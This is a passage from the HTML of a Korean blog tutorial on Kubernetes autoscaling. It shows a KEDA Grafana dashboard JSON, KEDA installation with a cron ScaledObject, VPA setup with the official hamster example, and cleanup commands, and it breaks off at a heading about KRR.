/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;skipUrlSync&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;query&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;current&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;selected&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;text&quot;:&amp;nbsp;&quot;s0-cron-Etc-UTC-40xxxx-55xxxx&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;&quot;s0-cron-Etc-UTC-40xxxx-55xxxx&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;definition&quot;:&amp;nbsp;&quot;label_values(keda_scaler_active{exported_namespace=\&quot;$namespace\&quot;},metric)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;includeAll&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;multi&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;metric&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;query&quot;:&amp;nbsp;&quot;label_values(keda_scaler_active{exported_namespace=\&quot;$namespace\&quot;},metric)&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;PrometheusVariableQueryEditor-VariableQuery&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refresh&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;regex&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;skipUrlSync&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;query&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;time&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;from&quot;:&amp;nbsp;&quot;now-24h&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;to&quot;:&amp;nbsp;&quot;now&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;timepicker&quot;:&amp;nbsp;{},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;timezone&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;KEDA&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;asdasd8rvmMxdVk&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;version&quot;:&amp;nbsp;8,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;weekStart&quot;:&amp;nbsp;&quot;&quot;&lt;br /&gt;}&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;KEDA를 설치합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711973470421&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# KEDA 설치
cat &amp;lt;&amp;lt;EOT &amp;gt; keda-values.yaml
metricsServer:
  useHostNetwork: true

prometheus:
  metricServer:
    enabled: true
    port: 9022
    portName: metrics
    path: /metrics
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus Operator
      enabled: true
    podMonitor:
      # Enables PodMonitor creation for the Prometheus Operator
      enabled: true
  operator:
    enabled: true
    port: 8080
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus Operator
      enabled: true
    podMonitor:
      # Enables PodMonitor creation for the Prometheus Operator
      enabled: true

  webhooks:
    enabled: true
    port: 8080
    serviceMonitor:
      # Enables ServiceMonitor creation for the Prometheus webhooks
      enabled: true
EOT

kubectl create namespace keda
helm repo add kedacore https://kedacore.github.io/charts
helm install keda kedacore/keda --version 2.13.0 --namespace keda -f keda-values.yaml

# KEDA 설치 확인
kubectl get all -n keda
kubectl get validatingwebhookconfigurations keda-admission
kubectl get validatingwebhookconfigurations keda-admission | kubectl neat | yh
kubectl get crd | grep keda&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HPA와 VPA에서 사용하는 메트릭을 수집하는 kube-system의 metric-server와 별도로 KEDA에서는 metrics-apiserver가 필요하며 이는 helm 차트로 설치 시 함께 설치됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-01 오후 9.38.43.png&quot; data-origin-width=&quot;1622&quot; data-origin-height=&quot;680&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BNPpL/btsGhStwdoJ/21Ap9ZWhq2KPe75YH2kbik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BNPpL/btsGhStwdoJ/21Ap9ZWhq2KPe75YH2kbik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BNPpL/btsGhStwdoJ/21Ap9ZWhq2KPe75YH2kbik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBNPpL%2FbtsGhStwdoJ%2F21Ap9ZWhq2KPe75YH2kbik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1622&quot; height=&quot;680&quot; data-filename=&quot;스크린샷 2024-04-01 오후 9.38.43.png&quot; data-origin-width=&quot;1622&quot; data-origin-height=&quot;680&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HPA 테스트에서 사용했던 php-apache 파드를 KEDA 네임스페이스에 배포하여 KEDA를 테스트해 봅니다. 여러가지 스케일링 방법 중에 cron으로 정책을 생성합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711975579545&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# keda 네임스페이스에 디플로이먼트 생성
kubectl apply -f php-apache.yaml -n keda
kubectl get pod -n keda

# ScaledObject 정책 생성 : cron
cat &amp;lt;&amp;lt;EOT &amp;gt; keda-cron.yaml
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: php-apache-cron-scaled
spec:
  minReplicaCount: 0
  maxReplicaCount: 2
  pollingInterval: 30
  cooldownPeriod: 300
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: php-apache
  triggers:
  - type: cron
    metadata:
      timezone: Asia/Seoul
      start: 00,15,30,45 * * * *
      end: 05,20,35,50 * * * *
      desiredReplicas: &quot;1&quot;
EOT
kubectl apply -f keda-cron.yaml -n keda&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그라파나와 터미널을 통해 KEDA의 스케일링 크론 동작을 확인합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711975689627&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 모니터링
watch -d 'kubectl get ScaledObject,hpa,pod -n keda'
kubectl get ScaledObject -w

# 확인
kubectl get ScaledObject,hpa,pod -n keda
kubectl get hpa -o jsonpath={.items[0].spec} -n keda | jq
...
&quot;metrics&quot;: [
    {
      &quot;external&quot;: {
        &quot;metric&quot;: {
          &quot;name&quot;: &quot;s0-cron-Asia-Seoul-00,15,30,45xxxx-05,20,35,50xxxx&quot;,
          &quot;selector&quot;: {
            &quot;matchLabels&quot;: {
              &quot;scaledobject.keda.sh/name&quot;: &quot;php-apache-cron-scaled&quot;
            }
          }
        },
        &quot;target&quot;: {
          &quot;averageValue&quot;: &quot;1&quot;,
          &quot;type&quot;: &quot;AverageValue&quot;
        }
      },
      &quot;type&quot;: &quot;External&quot;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오전 11.21.44.png&quot; data-origin-width=&quot;1957&quot; data-origin-height=&quot;616&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzoW8e/btsGg1dun0e/y01usPK4c5XMi5ZSekQt0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzoW8e/btsGg1dun0e/y01usPK4c5XMi5ZSekQt0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzoW8e/btsGg1dun0e/y01usPK4c5XMi5ZSekQt0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzoW8e%2FbtsGg1dun0e%2Fy01usPK4c5XMi5ZSekQt0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1957&quot; height=&quot;616&quot; data-filename=&quot;스크린샷 2024-04-02 오전 11.21.44.png&quot; data-origin-width=&quot;1957&quot; data-origin-height=&quot;616&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;KEDA와 테스트에 사용했던 파드 및 네임스페이스를 모두 삭제합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711975700697&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# KEDA 및 deployment 등 삭제
kubectl delete -f keda-cron.yaml -n keda &amp;amp;&amp;amp; kubectl delete deploy php-apache -n keda &amp;amp;&amp;amp; helm uninstall keda -n keda
kubectl delete namespace keda&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;VPA - Vertical Pod Autoscaler&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;파드의 resources.request을 최대한 최적값으로 수정합니다. &lt;span style=&quot;text-align: start;&quot;&gt;수정된 request값이 기존 값보다 위 또는 아래 범위에 속하므로 Vertical라고 표현합니다. &lt;b&gt;파드마다 resource.request를 최적값으로 설정하면, &lt;/b&gt;&lt;span style=&quot;text-align: start;&quot;&gt;쿠버네티스 노드 cpu와 메모리를 최대한 확보할 수 있으므로 &lt;/span&gt;&lt;b&gt;쿠버네티스 노드 자원 효율성이 좋아집니다.&lt;/b&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&amp;nbsp;파드가 스케줄링될 때 파드&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;resources.request만큼 노드에 자원이 있어야 합니다. &lt;/span&gt; &lt;/span&gt;HPA와 같이 사용할 수 없으며 수정 시 파드를 재실행해야 한다는 특징이 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;다운로드.png&quot; data-origin-width=&quot;667&quot; data-origin-height=&quot;175&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rngyN/btsGipE3url/wfOTcB8kkXRWOgTk7vX8G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rngyN/btsGipE3url/wfOTcB8kkXRWOgTk7vX8G0/img.png&quot; data-alt=&quot;출처 :https://malwareanalysis.tistory.com/603&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rngyN/btsGipE3url/wfOTcB8kkXRWOgTk7vX8G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrngyN%2FbtsGipE3url%2FwfOTcB8kkXRWOgTk7vX8G0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;667&quot; height=&quot;175&quot; data-filename=&quot;다운로드.png&quot; data-origin-width=&quot;667&quot; data-origin-height=&quot;175&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://malwareanalysis.tistory.com/603&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VPA 공식 코드를 다운로드 받아 진행합니다. VPA는 별도로 설치를 해서 사용해야 하는데 이 때 &lt;b&gt;openssl 1.1.1 이상 버전&lt;/b&gt;이 필요합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712041550427&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 코드 다운로드
git clone https://github.com/kubernetes/autoscaler.git
cd ~/autoscaler/vertical-pod-autoscaler/
tree hack

# openssl 버전 확인
openssl version
OpenSSL 1.0.2k-fips  26 Jan 2017

# openssl 1.1.1 이상 버전 확인
yum install openssl11 -y
openssl11 version

# 스크립트파일내에 openssl11 수정
sed -i 's/openssl/openssl11/g' ~/autoscaler/vertical-pod-autoscaler/pkg/admission-controller/gencerts.sh

# Deploy the Vertical Pod Autoscaler to your cluster with the following command.
watch -d kubectl get pod -n kube-system
cat hack/vpa-up.sh
./hack/vpa-up.sh
kubectl get crd | grep autoscaling
kubectl get mutatingwebhookconfigurations vpa-webhook-config
kubectl get mutatingwebhookconfigurations vpa-webhook-config -o json | jq&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-03 오후 4.49.29.png&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;61&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lOaij/btsGj5GWfRh/5IwKxO5zox1fXV9jTromz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lOaij/btsGj5GWfRh/5IwKxO5zox1fXV9jTromz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lOaij/btsGj5GWfRh/5IwKxO5zox1fXV9jTromz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlOaij%2FbtsGj5GWfRh%2F5IwKxO5zox1fXV9jTromz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;875&quot; height=&quot;61&quot; data-filename=&quot;스크린샷 2024-04-03 오후 4.49.29.png&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;61&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모니터링 터미널을 띄워놓고 VPA 공식 예제를 사용하여 VPA 동작을 테스트합니다. 최적의 CPU와 MEM 사용량을 추천해주고 해당 값을 Requests로 가지는 파드로 다시 배포되는 모습을 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1712131203128&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 모니터링
watch -d &quot;kubectl top pod;echo &quot;----------------------&quot;;kubectl describe pod | grep Requests: -A2&quot;

# 공식 예제 배포
cd ~/autoscaler/vertical-pod-autoscaler/
cat examples/hamster.yaml | yh
kubectl apply -f examples/hamster.yaml &amp;amp;&amp;amp; kubectl get vpa -w&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-03 오후 4.58.01.png&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;182&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkeh0j/btsGiYojFhH/JUrD5UaZCgVmtUiVS1dw3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkeh0j/btsGiYojFhH/JUrD5UaZCgVmtUiVS1dw3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkeh0j/btsGiYojFhH/JUrD5UaZCgVmtUiVS1dw3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbkeh0j%2FbtsGiYojFhH%2FJUrD5UaZCgVmtUiVS1dw3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1055&quot; height=&quot;182&quot; data-filename=&quot;스크린샷 2024-04-03 오후 4.58.01.png&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;182&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-03 오후 4.58.19.png&quot; data-origin-width=&quot;810&quot; data-origin-height=&quot;275&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bu7OvV/btsGlfWnZjO/FPhDBKJuIZfCh9pVmNubTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bu7OvV/btsGlfWnZjO/FPhDBKJuIZfCh9pVmNubTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bu7OvV/btsGlfWnZjO/FPhDBKJuIZfCh9pVmNubTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbu7OvV%2FbtsGlfWnZjO%2FFPhDBKJuIZfCh9pVmNubTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;810&quot; height=&quot;275&quot; data-filename=&quot;스크린샷 2024-04-03 오후 4.58.19.png&quot; data-origin-width=&quot;810&quot; data-origin-height=&quot;275&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이벤트 조회를 통해 기존 파드가 VPA에 의해 지워진 내용을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712131219683&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# VPA에 의해 기존 파드 삭제되고 신규 파드가 생성됨
kubectl get events --sort-by=&quot;.metadata.creationTimestamp&quot; | grep VPA&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-03 오후 4.59.21.png&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;59&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t9z2A/btsGmCJ3UZi/EQMUtqklqdkXERKM39FTPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t9z2A/btsGmCJ3UZi/EQMUtqklqdkXERKM39FTPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t9z2A/btsGmCJ3UZi/EQMUtqklqdkXERKM39FTPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft9z2A%2FbtsGmCJ3UZi%2FEQMUtqklqdkXERKM39FTPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;59&quot; data-filename=&quot;스크린샷 2024-04-03 오후 4.59.21.png&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;59&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용했던 자원들을 모두 삭제합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712131432391&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl delete -f examples/hamster.yaml &amp;amp;&amp;amp; cd ~/autoscaler/vertical-pod-autoscaler/ &amp;amp;&amp;amp; ./hack/vpa-down.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;a href=&quot;https://github.com/robusta-dev/krr#getting-started&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;KRR&lt;/a&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;Prometheus-based Kubernetes Resource Recommendations&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-03 오후 5.38.58.png&quot; data-origin-width=&quot;851&quot; data-origin-height=&quot;656&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xrFc4/btsGkTszgSP/Ha5yq8JAhzjE6BZckSFEOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xrFc4/btsGkTszgSP/Ha5yq8JAhzjE6BZckSFEOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xrFc4/btsGkTszgSP/Ha5yq8JAhzjE6BZckSFEOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxrFc4%2FbtsGkTszgSP%2FHa5yq8JAhzjE6BZckSFEOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;851&quot; height=&quot;656&quot; data-filename=&quot;스크린샷 2024-04-03 오후 5.38.58.png&quot; data-origin-width=&quot;851&quot; data-origin-height=&quot;656&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
